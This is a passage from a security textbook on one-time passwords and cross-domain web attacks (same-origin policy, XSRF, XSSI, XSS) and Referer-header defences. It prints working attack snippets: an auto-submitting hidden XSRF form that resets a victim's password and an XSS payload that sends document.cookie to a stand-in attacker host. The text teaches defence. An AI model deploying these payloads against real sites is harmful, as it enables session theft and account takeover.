they see it on the login page of a given web site that they might use. If a phisher were to simply
not show an image, and fall back to prompting the user for a username and password, it is
unclear as to how many users would fall prey to the phishing attack.
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9.6.10. One-Time Passwords
The final type of password system we would like to touch upon is called a one-time password
system. In all of the approaches that we have talked about so far, one of things that gives the
attacker some advantage is that each user uses their password multiple times to log into a sys-
tem. Therefore, when an account is created for a user and that user chooses a password, the
user is allowed to use that password multiple times to log in. However, every time that a user
logs into a system, there is a potential opportunity for that password to be eavesdropped on or
found by an attacker. This is especially a problem if that password has not changed over a long
period of time.

In a one-time password system, every time a user logs in, the user is expected to log in
with a different password. The one-time password system used to be implemented by giving
users lists of passwords. These lists were essentially small books full of passwords customized
for users each time they would log in. For example, the first time that the user logs in, she
would use the first password on the list. The next time she logs in, she would be instructed to
use the second password on the list. The system could also choose a random password num-
ber and expect the user to enter that number. These lists, however, became cumbersome for
users.

Most one-time password systems today are ones in which the user is given some device
with a small amount of computing power that is used to compute passwords. The device can
be used as a source of passwords. The users, when they log into a system, take out the one-
time password device, read off the password from that device, and enter it into the computer
system. All the passwords that are generated by this device are based off of some crypto-
graphic algorithm. There is typically some seed (initial value) that is used to generate an entire
stream of many passwords over time. That seed is also known by the server. Therefore, given
the current time and the seed, the server can check that the password the user is entering is
correct.

The functionality provided in these one-time password devices are now integrated into
PDAs, cell phones, and other mobile devices that users already carry. One-time passwords end
up being a very good system for ensuring password security. In fact, some banks have started
to give one-time password devices to some of their users in order to log into their web-based
bank accounts. Hopefully, there will be more usage of one-time passwords in the future.
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Cross-Domain Security in
Web Applications

This chapter explores in detail security issues that arise from interactions between multiple
web sites or web-based applications that a user is visiting with the same browser. Since such
security concerns usually involve web-based resources or applications in two or more differ-
ent domains,1 such issues are called cross-domain security issues. The purpose of this chapter
is twofold: First, it serves to demonstrate that in security, the “devil is often in the details,” and
that an aspect of application security that at first seems fairly straightforward actually turns
out to be rather complex. As such, this chapter assumes a deeper knowledge of HTML and
web technologies to understand all the detail. You are encouraged to re-read Chapter 7 to
freshen up on the basics before attacking this chapter, and also to consult the HTML specifica-
tion when necessary as you read through this chapter. Second, we believe that to date no
comprehensive treatment of cross-domain security is available, and we fill that gap.

The security issues discussed in this chapter can manifest themselves when a user views a
page on a malicious web site,2 and is interacting (or has interacted at an earlier time) with our
web application in the same browser, possibly in a different window. For example, our user
might have browsed to our application(the “good” one), hosted at www.mywwwservice.com, and
then opened a new browser window to browse to www.hackerhome.org. (We will ignore for the
moment the question of what might have compelled the user to visit this site; perhaps he
received an e-mail with a link to the site and a promise of things free and desirable.)

If we have not taken specific precautions when designing and implementing our web
application, code embedded in the malicious web page from www.hackerhome.org might be
able to gain access to this user’s session with our application, learn sensitive data associated
with this user within the context of our application, or maliciously make requests to our appli-
cation that appear to originate from this user.

Since these types of security issues relate to (undesired) interactions between the appli-
cation hosted in our domain (www.mywwwservice.com) and pages hosted in another domain
(www.hackerhome.org), we refer to them as cross-domain security issues.
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1. The term domain relates to the Domain Name System (DNS), the naming scheme for hosts, such as
web servers, on the Internet.

2. Note that it may not be obvious to the user that she is viewing a malicious page; she could be visiting a
page that appears to be a harmless, static web page (such as someone’s blog), while a script embedded
in the page may be surreptitiously performing malicious actions. 

7842CH10.qxd  1/17/07  3:42 PM  Page 155



In the remainder of this chapter, we first define the problem in more detail; in particular,
we examine how a document loaded into the browser from one domain can interact with doc-
uments from other domains within the user’s browser, as well as with web servers in other
domains. We then explore attack patterns that can be enabled by such interactions. Finally,
we cover in detail a set of techniques and mechanisms to prevent these attacks from being
used against a web application.

This chapter is concerned with security issues that can arise specifically in the context of
web applications. We assume that you have some familiarity with web application develop-
ment, HTML, HTTP, and related topics (from reading previous chapters).

10.1. Interaction Between Web Pages from
Different Domains
To examine security issues related to cross-domain security, you first have to understand how
pages from different domains may interact in the browser, and what mechanisms exist in
browsers to limit such interactions.

10.1.1. HTML, JavaScript, and the Same-Origin Policy
In the early days of the Web, documents were delivered as plain HTML: the document’s HTML
markup only provided formatting and document-structure directives to the browser (Berners-
Lee and Connolly 1995).

Modern browsers, on the other hand, support Dynamic HTML (DHTML) documents that
specify content, layout, and formatting (through Cascading Style Sheets [CSS]), as well as
behavior (in the form of associated client-side script) (Raggett, Le Hors, and Jacobs 1999; Bos
et al. 1998). Different browsers support different client-side scripting languages (e.g., VBScript
is supported by Internet Explorer but not Mozilla browsers), as well as different flavors of the
same language. For example, the variant of the JavaScript language and browser API sup-
ported by Mozilla-based browsers differs slightly from the one supported by Internet Explorer
(which is called JScript) (Powell and Schneider 2004). The language has been standardized by
EMCA under the name ECMAScript. Most popular browsers, however, implement variants or
supersets of the ECMAScript standard. Variants of JavaScript are the most commonly used
scripting languages in HTML documents at the time of writing. We use JavaScript in our exam-
ples in this chapter, and for simplicity we use the term JavaScript to collectively refer to all
variants of the language. Where browser-specific variations are relevant, we identify the
browser in question.

Client-side script interacts with documents via the Document Object Model (DOM), which
defines a hierarchical object model based on the structure of the document, plus an interface
that allows script to inspect and manipulate a parsed HTML document within a browser (Le
Hors et al. 2000). For example, script can read or modify the contents of a paragraph of text
within a document, or even completely alter the appearance of a page. Furthermore, script
can interact with the browser’s DOM event model—script can receive and react to user-
originated events such as mouse clicks or key presses, and can also create and dispatch
events and, for example, simulate a mouse click on a button in an HTML document.

Web browsers implement the so-called same-origin policy (see www.mozilla.org/
projects/security/components/same-origin.html) with respect to the access rights of script
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associated with a document loaded from a particular URL. Essentially, script can only access
properties (including cookies, and DOM objects and their attributes) associated with docu-
ments from the same origin as the origin of the document with which the script is associated.
The origin of a document is defined by the scheme (also referred to as protocol—for example,
HTTP or FTP), hostname, and port of the document’s URL; however the URL’s path is not con-
sidered part of the origin.

For example, two documents with URLs http://www.examplesite.org/here and http://
www.examplesite.org/there have the same origin for the purposes of this policy, and script
associated with one has access to properties of the other. In contrast, the following four URLs
have all different origins:

http://www.examplesite.org/here
https://www.examplesite.org/there
http://www.examplesite.org:8080/thar
http://www.hackerhome.org/yonder

The host component of a URL is the host’s fully qualified domain name (FQDN) in the
Internet DNS (Mockapetris 1987). Based on this terminology, the same-origin policy is some-
times also referred to as the cross-domain security policy.

10.1.2. Possible Interactions of Documents from 
Different Origins
The same origin policy prevents script in a page loaded from, for example, domain www.
hackerhome.org from accessing the DOM of a page from www.mywwwservice.com, which pre-
vents it from reading the contents of the document, changing the document, and reading
the www.mywwwservice.com cookie.

However, besides direct access to the DOM, there are several other forms of interaction
that are not restricted by the security policies enforced by the browser. In the following discus-
sion, we consider how a page loaded into a user’s browser from www.hackerhome.org could
interact with the web server at www.mywwwservice.com, or with pages loaded into the same
browser from www.mywwwservice.com.

Loading Documents from www.mywwwservice.com
Linking between documents is a fundamental pattern on the Web. Hence, HTML provides
for many ways by which a document can refer to another document that may or may not be
hosted in a different domain. Some of those references cause the document to be loaded into
the browser only after user interaction, while others do so automatically when the referring
page is processed by the browser.

Suppose a user loaded a page from www.hackerhome.org containing the following HTML
fragment:

<a href="http://www.mywwwservice.com/some_url">Click here!</a>

The user’s browser will render a page with a link labeled “Click here!” such that if the user
clicks on this link, he will be directed to the URL hosted on www.mywwwservice.com. You will see
in a moment under what conditions this could lead to problems. For now, it is important to
realize that the page containing the link is under the control of hackerhome.org, and there is
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nothing that the authors of mywwwservice.com can do to prevent hackerhome.org from linking
to their site.

Similarly, suppose the page from www.hackerhome.org contains the following HTML
fragment:

<iframe style="display: none"
src="http://www.mywwwservice.com/some_url"></iframe>

Rather than replacing the current window with the document loaded from www.
mywwwservice.com, as in the first example in this section, here the browser loads the document
into an embedded document frame. In addition, this happens automatically without user
interaction and the style attribute instructs the browser to not visibly render the frame; that is,
the user would have no visual indication that his browser just loaded this page.

Including Data from www.mywwwservice.com
In the previous section’s example, documents were loaded into the main browser window, or
into a frame. In these cases, the browser’s enforcement of the same-origin policy prevents
JavaScript on the document loaded from hackerhome.org to “peek inside” the document
loaded from mywwwservice.com, even though in the second example, the frame containing
the mywwwservice.com document is actually embedded in a page from hackerhome.org.

However, there are a few situations in which data loaded from a URL in one domain is
essentially considered to have originated from another domain for purposes of the same-
origin policy.

For example, if a page at www.hackerhome.org contains the HTML fragment

<script src="http://www.mywwwservice.com/some_url"></script>

the URL is loaded from www.mywwwservice.com, parsed as JavaScript, and then evaluated in
the context of the enclosing page. That is, for purposes of the same-origin policy, the script is
considered to have originated from www.hackerhome.org and not www.mywwwservice.com, even
though the latter is the domain name of the server from which the data was fetched! In partic-
ular, the included script can inspect the contents and attributes of the enclosing page, and
conversely, the page can define the evaluation environment for the script being included.

Initiating HTTP Requests to www.mywwwservice.com
The previous sections focused on the ability of a (potentially malicious) page to cause content
to be loaded into the user’s browser. At the same time, we need to consider that the malicious
page is in fact causing a request to be made by the user’s browser to the web server serving our
application; this request may cause our application to initiate actions or state changes.

For instance, consider a page at www.hackerhome.org with this HTML fragment:

<form name="f" method="POST"
action="http://www.mywwwservice.com/action">

<input type="hidden" name="cmd" value="do_something">
...

</form>
<script>
document.f.submit();

</script>
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This HTML fragment defines an HTML form with the given action URL and a hidden
input field named cmd. The form has a name attribute, which causes the browser to expose a
reference to the form’s corresponding DOM object as the DOM property document.f. The
included JavaScript invokes the submit() method on the form’s DOM object, which instructs
the browser to submit the form with an HTTP POST request to the action URL just as if the user
had clicked the form’s submit button. Thus, when this HTML document is loaded into the
user’s browser, the form will be submitted to our web application without any user interaction.

10.1.3. HTTP Request Authentication
HTTP by itself is a stateless protocol—that is, successive HTTP requests initiated by the same
user with the same browser a priori appear to the server as completely independent requests
without any particular correspondence.

Web applications whose behavior depends on which user a particular request is associ-
ated with use one of several techniques to determine this association. We described these
techniques in Chapter 7, and we summarize them here:

HTTP authentication: The HTTP protocol defines mechanisms by which the browser
requests authentication credentials (username and password) from the user and then
automatically supplies these credentials in a special HTTP header along with each
request to the server (Franks et al. 1999).

Cookie authentication: A second commonly used HTTP request authentication scheme
is based on HTTP cookies (Kristol and Montulli 2000). Here, the application requests the
user’s authentication credentials in an HTML form. Once the form POST has been received
by the application and the credentials validated, the application issues a session token to
the browser in an HTTP cookie. The browser automatically returns the cookie with each
subsequent request to the server, which allows the application to associate subsequent
requests with this session and in turn with the user who initiated this session.

Hidden-form authentication: A less commonly used variant of the aforementioned
scheme uses hidden form fields to transfer the session token, rather than cookies. Here,
the application dynamically renders HTML forms for all navigational elements, including
a hidden field containing the session token.3

It is important to note that in the case of both HTTP and cookie-based authentication,
the browser caches the credential that is used to authenticate subsequent HTTP requests (the
user’s username/password, or the session cookie, respectively) and automatically supplies the
credential along with any request made from that browser to the web server for which the cre-
dential is cached (e.g., www.mywwwservice.com). In particular, this includes requests that may be
surreptitiously initiated by a malicious page, as shown in Section 10.1.2.

In other words, a malicious page can cause the user’s browser to make requests to
www.mywwwservice.com that, a priori, will be processed by our application as if they were
initiated by the user identified and authenticated by the credential in question.
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10.1.4. Lifetime of Cached Cookies and HTTP Authentication
Credentials
Cookies are divided into two classes with respect to how long they are cached by the browser.
By default, a cookie is cached by the browser until the browser is shut down. We refer to such
cookies as temporary or non-persistent cookies.4

Web servers have the option to annotate cookies sent to a browser with an explicit expiry
date. Such cookies “persist” until the indicated expiry time, even across restarts of the browser
or reboots of the operating system, and are thus called persistent cookies.

In popular browser implementations, when the user opens an additional browser window
or tab from within an already open browser, the new window reflects the same cookie state
(i.e., a request made to the same URL in either window would send the exact same set of
cached cookies to the server). If two browser windows reflect the same state with respect to
cached credentials, we say that they are associated with the same browser instance. In com-
mon implementations, a browser instance corresponds to an operating system process, and
non-persistent cookies are cached in memory, while persistent cookies are cached on disk.

Commonly, HTTP authentication credentials are cached in memory (although some
browsers allow the user to store them persistently on disk), and are shared by all browser
windows in a given browser instance.

It is important to realize that the caching of non-persistent credentials depends solely on
the lifetime of the browser instance, and not on whether any window or document for which
the credential is valid remains open in the browser. Consider the following scenario:

1. Alice has a browser window open on, say, her favorite news site.

2. She selects the New Window menu option in her browser application, which opens a
new window within the same instance.5

3. Alice logs into our application, www.mywwwservice.com, which uses HTTP authentica-
tion to authenticate her. Her browser caches the username and password for our
application in memory, and supplies it along with all the requests resulting from
Alice’s use of our application.

4. When she is done using our application, Alice closes the browser window. However,
she keeps her original browser window open (showing the news site)—that is, the
browser instance she had used to access our application remains in existence.
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5. Some time later, Alice opens another window, in which she browses the web, and is
lured into viewing a malicious page on www.hackerhome.org. That page causes her
browser to surreptitiously make a request to our server at www.mywwwservice.com using
one of the techniques described in Section 10.1.2. Since she is using the same browser
instance she had previously used to access our application, her browser still has her
username and password cached, which the browser sends along with the request.

We can make the following observations:

1. In step 4, Alice closed the window in which she had accessed our application. After
that, there were no windows open in the browser instance that had any pages loaded
from a www.mywwwservice.com URL. Nevertheless, the browser retained cached creden-
tials for that domain.

2. If our application used cookie-based authentication rather than HTTP authentication,
the browser would have similarly retained the cached cookie containing the session
token. However, in this case, our application could implement a server-side timeout
mechanism for sessions. Even though the browser would send the cached cookie along
with the later request in step 5, our application could recognize that the session token
identifies an old, expired session and ignore it.

This is a major advantage of cookie-based authentication over HTTP authentication.
With HTTP authentication, it is very difficult to implement a reliable session timeout
mechanism.

3. If Alice does not shut down her browser or her computer on a regular basis, the last
step could take place days or even weeks after she had first logged into our application
(unless the application implements some form of session timeout). It’s not uncommon
for users to keep their computers and applications running for long periods of time to
avoid the inconvenience of booting up and reopening commonly used applications
every morning. Such users might use the computer’s suspend functionality to save
electricity while the computer is not actually in use; however, while the computer is
suspended, application processes retain their in-memory state and behave essentially
as if the computer was fully running and never suspended during the whole period.

10.2. Attack Patterns
We now investigate how a malicious page from www.hackerhome.org might be able to compro-
mise a web application hosted on www.mywwwservice.com; and in subsequent sections, we
demonstrate how we can structure our web application to prevent each attack pattern.

It is important to reiterate that in this chapter we only consider security issues that can
arise because a user’s browser may interact with more than one web application (ours, as well
as potentially malicious ones); not issues that can arise due to a malicious user/browser
attacking our web application directly.
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10.2.1. Cross-Site Request Forgery (XSRF)
Recall that a malicious page can cause our user’s browser to make a GET or POST HTTP request
to our web application, with query parameters or form field values chosen by the author of the
malicious page, and that at the same time our user’s browser will send along HTTP authenti-
cation credentials and/or cookies associated with our user.

Suppose our web application includes a feature that allows our users to change their pro-
file information, including the password they use to log into our application.

This feature is implemented as an HTML form like the following (we omit formatting-
related markup in the example):

<form method="POST" action="/update_profile">
...
New Password: <input type="password" name="password">
...

</form>

When this form is submitted, our application (specifically, the code that handles requests
for the /update_profile URL) determines the identity of the currently logged-in user based
on a session cookie, and then updates the stored password for this user in our database.

Now suppose that there is a page on a malicious web site that our user is lured into
viewing—say, http://www.hackerhome.org/getfreestuff.html. What if this page contains
HTML such as the following?

<form method="POST" name="evilform"
target="hiddenframe"
action="https://www.mywwwservice.com/update_profile">

<input type="hidden" name="password" value="evilhax0r">
</form>
<iframe name="hiddenframe"

style="display: none">
</iframe>
<script>
document.evilform.submit();

</script>

If Alice, our unsuspecting user, happens to be logged into our application (i.e., her
browser has a valid session authentication cookie for www.mywwwservice.com), and then loads
www.hackerhome.org/getfreestuff.html, the following sequence of events takes place:

1. Alice’s browser loads and parses the page from www.hackerhome.org. Note that due to
the same-origin policy, this page does not have access to the www.mywwwservice.com
cookie, nor could it inspect the contents of any page that might currently be loaded
from www.mywwwservice.com in another browser window.

2. Once the page is loaded, the browser executes the JavaScript specified in the <script>
tag. The script in turn causes the browser to POST the form named evilform defined
within the same document. Note that the action URL of the form as specified in the
<form> tag is in fact the /update_profile URL of our application, but the values of the
posted parameters—in particular, the password parameter—are as chosen by the
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malicious document hosted on www.hackerhome.org. When the browser makes the
HTTP POST request, it sends along all cookies it currently holds for the domain of the
request’s URL (i.e., www.mywwwservice.com). The target of the POST is the invisible <iframe>
in the attacker’s page (i.e., the POST request will not cause the browser to navigate away
from the currently displayed page and Alice will have no visible indication that her
browser is making requests to www.mywwwservice.com).

3. When our application receives the request, it determines that the cookie sent along
with the request is a valid session cookie, and identifies and authenticates Alice. It
then processes the request just as if Alice herself had originated it by filling out and
submitting the web form in our application, and updates the password we have on
file for Alice to be evilhax0r!

Now Alice cannot log into her account anymore (unless she somehow notices what hap-
pened and looks at the source of the malicious page), and more importantly, the owner of
hackerhome.org now knows Alice’s password!6

It is worth noting that due to the same-origin policy, the attacker’s malicious page cannot
read any data related to Alice’s account; rather, it is possible for him to blindly cause Alice’s
browser to make a write request to our application and cause a server-side state change
related to Alice’s account. (Of course, in this case, the request happened to be one that allowed
the attacker to change her login credential to a known value, and thus ultimately gave him full
read and write access to her account.) Since this attack pattern involves requests across the
boundary of a web application or site with parameters that were specified or forged by the
malicious site, it is often referred to as cross-site request forgery (commonly abbreviated XSRF
or CSRF, and sometimes also referred to as “cross-site reference forgery”) (Burns 2005).

XSRF is of concern with any web application that keeps server-side state or executes
server-side transactions on behalf of its users. Examples of such applications include the
following:

• Applications with features that allow users to maintain or update profile information,
such as user/login ID, name, contact e-mail, password, list of friends in a social net-
work application, and so on

• Applications that enable users to send messages or post messages on a message board
(a malicious page could send/post an embarrassing message on behalf of an unsus-
pecting user)

• Applications that carry out financial or e-commerce transactions on behalf of their
users, such as funds transfers, online shopping orders, and so forth

• Applications that store any kind of data on behalf of a user that could be maliciously
tampered with by an attacker (online calendaring, to-do lists, personal information
managers, etc.).
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10.2.2. Cross-Site Script Inclusion (XSSI)
As shown earlier, a page hosted on a third-party web site can include a <script> tag that
sources a JavaScript document from our web site.

Cross-Domain Inclusion of Static Script
In general, this is not a problem; the <script> tag specifically allows the inclusion of script
from other domains to enable the sharing of code. For instance, our web site might serve a
JavaScript library that provides DHTML pull-down menus, navigation bars, and the like, and
some other web site may choose to use our script as the basis for the site’s user-navigation fea-
tures. Usually, this would only happen if the owners of that second site trust us, both from a
security perspective and for stability reasons (we may choose to update our script in a way
that’s not compatible with their use of it).

However, if the script is generated dynamically based on a user session, we could have a
security problem, as we will demonstrate in the remainder of this section.

The converse situation (our application including a third-party script resource) is danger-
ous if we do not have full control over the contents of that script (i.e., we fully trust whoever is
hosting it). The script will run in our page’s context and will have full access to all client-side
data related to our user’s session with our application. We explore malicious actions executed
by untrusted script in the context of one of our pages in Section 10.2.3.

Information Leakage via Dynamic Script
Traditionally, web applications are implemented such that each request and user interaction
results in the server returning a full HTML document that completely replaces what the user
sees in the browser. Some modern applications follow a more dynamic approach, where sig-
nificant parts of the user interface are implemented by JavaScript running in the browser,
which in turn asynchronously makes requests to the server that only return data, while the
rendering of that data is performed by the client-side script. This can result in a richer and
more responsive user interface.

The collection of design patterns that such modern web applications are based on is often
referred to as Ajax, which stands for Asynchronous JavaScript and XML (Garrett 2005).

While in many cases data is indeed exchanged between the client-side script and the web
server in the form of an XML document, other formats can be used in place of XML. In one
variation of Ajax, the client-side script expects data to be returned from the server as a snippet
of JavaScript (generally consisting of declarations of JavaScript arrays or dictionaries contain-
ing the data), which can be evaluated to yield JavaScript data structures populated with the
data in question.

The subset of the JavaScript language consisting only of literals and declarations of array
and dictionary data structures is often referred to as JSON (JavaScript Object Notation)
(www.json.org).

For example, the client side script might initiate a request for the URL

http://www.mywwwservice.com/json/nav_data?callback=UpdateHeader

When receiving the request, the server would inspect a session cookie to determine the
identity of the currently logged-in user, and then return a JavaScript document of the form
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UpdateHeader({
"date_time":       "2006/04/29 10:15",
"logged_in_user":  "alice@learnsecurity.com",
"account_balance": 256.98

})

The client-side code would evaluate this snippet of JavaScript, while having provided the
“callback function” UpdateHeader. When the callback is invoked, it might in this case use the
data provided in its argument to populate a status bar at the top of the browser window.

How could this be exploited by a malicious site? Suppose our user visits a page on
www.hackerhome.org containing the following HTML:

<script>
function UpdateHeader(dict) {
if (dict['account_balance'] > 100) {
do_phishing_redirect(dict['logged_in_user']);

}
}

</script>
<script
src="http://www.mywwwservice.com/json/nav_data?callback=UpdateHeader">

</script>

After loading this page, the user’s browser would, as usual, resolve the reference to the
included script. When making the request to fetch that script, the browser would, again as
usual, send along any cookies it currently holds for the domain www.mywwwservice.com. Our
application would reply to the request based on the user’s cookie, and return the preceding
JavaScript fragment containing our user’s information. However, this JavaScript is now evalu-
ated in the context of the malicious document. In particular, the definition of the callback is
the one provided by the attacker, which can in turn evaluate, process, and disclose the data as
it pleases.

10.2.3. Cross-Site Scripting (XSS)
As discussed earlier, web browsers implement the Same-Origin Policy with respect to the
access rights of script (such as JavaScript or VBScript) contained in a document loaded from a
particular domain. For example, a malicious page from www.hackerhome.org is not allowed to
access the contents or attributes of a document from www.mywwwservice.com (including cookies
for that domain), even if the malicious page caused the browser to load that document (e.g.,
via an <iframe> tag).

However, suppose an attacker can somehow cause script of her choosing to be executed
in the context of a page loaded from a www.mywwwservice.com URL. This script would then be
able to carry out actions on behalf of the attacker, but in the context of our user’s session with
our web application. It could, for example, access our user’s session authentication cookies
and transfer them to the attacker’s web server.

In the following discussion, we examine under what circumstances an attacker may
indeed cause script under her control to execute in the context of our application.
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Example Vulnerability
Suppose our application provides a URL (e.g., as part of a “search this site” functionality),
http://www.mywwwservice.com/query?question=cookies, which returns HTML documents
containing the following fragment:

...
<p>Your query for 'cookies' returned the following results:</p>
...

That is, the value of the query parameter question is inserted into the page returned by
mywwwservice.com. We assume further that the data is not validated, filtered, or escaped.

Now suppose that an attacker manages to cause our user Alice to load the following URL
into her browser—for example, by tricking her into clicking a link, or by luring her into view-
ing a harmless-looking page that sources this URL in an invisible <iframe>:

http://www.mywwwservice.com/query?➥

question=cookies+%3Cscript%3Emalicious-script%3C/script%3E

The document loaded into the browser in response to this request will contain the follow-
ing HTML fragment:

<p>Your query for 
'cookies <script>malicious-script</script>'
returned the following results:</p>

The string included into the HTML fragment is the URL-decoded version of the question
query parameter, whose value was chosen by the attacker. However, this string represents
an HTML <script> tag, the contents of which are executed as JavaScript in the context of the
page the <script> tag appeared in. We thus have a situation in which script chosen by an
attacker (which we have denoted with the placeholder malicious-script in the example) exe-
cutes in the context of a page loaded from a URL in our domain. Since this situation involves
script controlled by one entity (often a malicious web site) to be evaluated in the context of a
page loaded from another site, it is commonly referred to as cross-site scripting (XSS).7

XSS Exploits and Payloads
In the this section, we explore in more detail what malicious actions the attacker’s script
could carry out, and what script fragments the attacker would supply for the placeholder
malicious-script to achieve his goals.

Stealing Cookies

If our application (hosted in the www.mywwwservice.com domain) uses cookie-based session
authentication, those cookies essentially embody Alice’s (our user’s) session with our applica-
tion. If an attacker is able to obtain the cookies that Alice’s browser holds for the domain
www.mywwwservice.com, and Alice has a logged-in session with our application at this point,
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then the attacker has full access to Alice’s session. He can make HTTP requests to our applica-
tion and supply Alice’s cookies with the request, and our application will authenticate the
request as being made on behalf of Alice.

If our application is vulnerable to XSS, an attacker can steal Alice’s cookies by supplying
the following script in place of malicious-script in the previous section’s example:

<script>
i = new Image();
i.src = "http://www.hackerhome.org/log_cookie?cookie=" +

escape(document.cookie);
</script>

Recall that this script will be evaluated in the context of the page returned to the browser
from the http://www.mywwwservice.com/query URL; in particular, it will be associated with
the www.mywwwservice.com domain for the purposes of the same-origin policy. The expression
document.cookie references a DOM property that evaluates to a string containing the HTTP
cookies that the browser currently holds for the domain the page was loaded from (i.e.,
www.mywwwservice.com). The script passes this string through the built-in escape() JavaScript
function, which URL-encodes characters not allowed in URLs, and then constructs a URL on
the attacker’s web server with the encoded cookie value supplied as the cookie query parame-
ter. The script then causes our user’s browser to make a request to that URL, in this case by
fetching the contents of an Image object (there is a wide variety of other means by which the
script could cause a request to be made, some of which we discussed in Section 10.1.2). The
script does not use the results of the request, and it is not even necessary for the request to
return a valid image document. The attacker is only interested in the request being made
with Alice’s cookie as a parameter, which the attacker’s server can save into a log file (or, for
instance, e-mail to the attacker for immediate use).

Scripting the Vulnerable Application

If the attacker has a specific goal, it may be to his advantage to let the malicious script carry
out a specific action directly, rather than steal the user’s cookie and use it to access the web
application under the user’s identity.

For example, the attacker might want to obtain specific pieces of information, such as the
user’s mailing address and account number as displayed by the application on a “My Profile”
page; or, in the case of an online banking application, the attacker might want to initiate a
transfer of funds to an offshore account.

Rather than injecting simple script that evaluates document.cookie and transfers the result
to the attacker’s web server, the attacker would inject a more sophisticated script that per-
forms the desired action. For example, the script could load the URL for the application’s “My
Profile” page into an invisible browser frame, extract the user’s personal information from the
resulting document, and upload it to the attacker’s web server.

While such an exploit would require more skill to develop than a simple cookie-stealing
exploit, it has a number of advantages from the perspective of the attacker: There is no chance
that the session associated with a stolen cookie might expire before the attacker gets around
to using it. Furthermore, the attacker never makes any requests directly to the web server that
hosts the application he is attacking (i.e., his IP address will not be logged by the web server,
which makes it more difficult for the web application’s operator to detect and for law enforce-
ment to trace the attack).
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Modifying Web Pages

A third possibility would be for the attacker to script modifications to a web page loaded
from the vulnerable site by manipulating the page’s DOM; in this case, the modified page
would be intended for viewing by the victim user and likely be part of a social engineering
or phishing attack. Since the page being modified was loaded from the vulnerable site (e.g.,
www.mywwwservice.com), the user would see a www.mywwwservice.com/path/... URL in her
browser’s URL bar. In case of a https URL, the user would not see any certificate-mismatch
warnings, and even if she inspected the site’s SSL certificate (by double-clicking the lock icon
in popular browsers), she would be presented with the site’s genuine certificate. It would be
very difficult for the user to tell that she is viewing a web page that has been modified by a
third party.

Sources of Untrusted Data
In the example within Section 10.2.3, the vector by which the attacker was able to inject mali-
cious script into a document viewed by the victim was a query parameter of a URL of the
vulnerable application.

Query parameters (or HTML form fields) are a common and often easily exploited XSS
vector. However, any data that may be under the control of an attacker and that is inserted
into HTML documents must be considered for XSS vulnerabilities. Sources of such data
include, but are not limited to

• URL query parameters

• The path of the URL (which, for instance, may be inserted into the page as part of a
“Document not found” error message)

• HTML form fields (POST parameters; note that this includes hidden fields)

• Cookies

• Other parts of the HTTP request header, such as the Referer header

• Data that was inserted into a data store (SQL databases, files, custom data stores) in
an earlier transaction, possibly by a different user (e.g., messages in a message board
application)

• Data obtained from a third-party data feed (e.g., an RSS feed)

Stored vs. Reflected XSS
XSS scenarios are sometimes categorized based on what user interactions lead to the trigger-
ing of the exploit.

The term reflected XSS is commonly used to describe situations such as the first example
in this section, in which the victim is lured into making a request to the vulnerable web
application, and script is injected via parameters of that request and returned (reflected)
immediately as part of the resulting response.

In contrast, situations in which injected script is delivered to victim users some time after
it was injected into the system (and is stored somehow in the intervening period) are referred
to as stored XSS.
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XSS vulnerabilities that permit stored XSS attacks can be more damaging, because it
may be possible for the attacker to arrange for his exploit to be triggered every time a victim
accesses the application in question (rather than only when the victim was lured into viewing
a malicious page controlled by the attacker). Furthermore, it may be possible that users can be
attacked without having to be lured to a malicious page at all. For example, if a message board
application permits script injection via a part of a posted message, all users who view that
malicious message will be attacked.

MYSPACE ATTACKED BY STORED XSS WORM

XSS attacks can be particularly damaging in situations in which a stored XSS attack propagates from user
account to user account in a worm-like pattern (we discussed worms that exploit vulnerabilities in server-
side applications to propagate from server to server in Chapter 5). For example, in 2005, an XSS worm was
released on the MySpace social networking site. The worm exploited an XSS vulnerability in the MySpace
application that allowed stored XSS to propagate from user profile page to user profile page along the friend
relationships within the MySpace social network. The actual payload of this worm was fairly harmless; it
simply added a particular user, “Samy,” to the list of the infected user’s friends. Nevertheless, MySpace had
to be shut down for several hours to clean up the infected profiles and prevent additional XSS. Needless to
say, the impact of an XSS worm could be much worse.

However, we note that stored and reflected XSS are not fundamentally different; in both
cases, the underlying issue is that untrusted data can be delivered to a user’s browser such that
script chosen by the attacker is executed in the user’s browser in the context of the vulnerable
application.

10.3. Preventing XSRF
In the following discussion, we explore in detail how to prevent the various attack patterns
introduced in the previous sections, starting with XSRF.

Recall that an XSRF attack involves a malicious page that initiates a GET or POST request
that, when received by our application, causes some kind of transaction or server-side state
change on behalf of our user.

In essence, to prevent this attack, we have to enable our application to distinguish
between requests that originated from an intended action carried out by our user (who delib-
erately filled out and submitted a web form), and requests that originated from a malicious
page somehow causing a request to be submitted without the user’s intent.

We first note that there unfortunately is no mechanism that allows a web server to distin-
guish between HTTP requests that originated from a user action (such as clicking a link or
form submit button) from those that were initiated by JavaScript or some other HTML ele-
ment without explicit user interaction—everything else being equal, the resulting HTTP
requests look exactly the same.

In the following sections, we develop a number of measures for preventing XSRF attacks.
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10.3.1. Inspecting Referer Headers
The HTTP protocol specifies a request header called Referer (sic—the name of the header
field is in fact misspelled), which browsers may use to indicate the URI of the document from
which the current request originated (Fielding et al. 1999, section 14.36).

If we can assume that our own site www.mywwwservice.com would never serve an HTML
document to our users that surreptitiously makes malicious requests back to our application,
it would seem to be a reasonable approach for preventing XSRF to simply not process requests
if their Referer header indicates that they originate from a document that was not served by
our own application.

It is worth noting that in most situations, Referer headers cannot be trusted because
they can be easily forged by a malicious client. For example, it is not sufficient to use Referer
headers to check that a user came to a given page on our web site via a specific other page
(such as a terms-and-conditions display); a malicious user could go directly to the page in
question, forging the Referer header in the request.8 However, in the XSRF scenario, we are
dealing with a malicious third-party site that interacts with a well-behaved browser operated
by our victim user; as such it is reasonable to assume that the Referer headers are accurate, if
they are present.

Unfortunately, relying on Referer headers is not feasible in practice: they can be empty
or absent for various reasons, and there is no valid strategy for dealing with empty Referer
headers.

On one hand, there are ways for a malicious site to cause the browser to make a request
to our server with an empty Referer header—for example, by opening a new window via
JavaScript, and then navigating this window to our site (the details vary by browser type and
version).

This means that to prevent XSRF attacks against our application, we need to reject state-
changing HTTP requests with an empty Referer header.

At the same time, there are a non-negligible number of legitimate users who use browser
configurations or HTTP proxies that strip Referer headers out of HTTP requests. For example,
a corporation might do this to prevent a link to a competitor’s web site in an intranet docu-
ment with a revealing filename (maybe a strategy document about a new product) from
leaking this filename to outside parties in the Referer header.

If we were to in fact reject requests without the Referer header, we would effectively pre-
vent this user segment from using our application.

As such, relying on Referer headers is not a practical solution for preventing XSRF
attacks.

10.3.2.Validation via User-Provided Secret
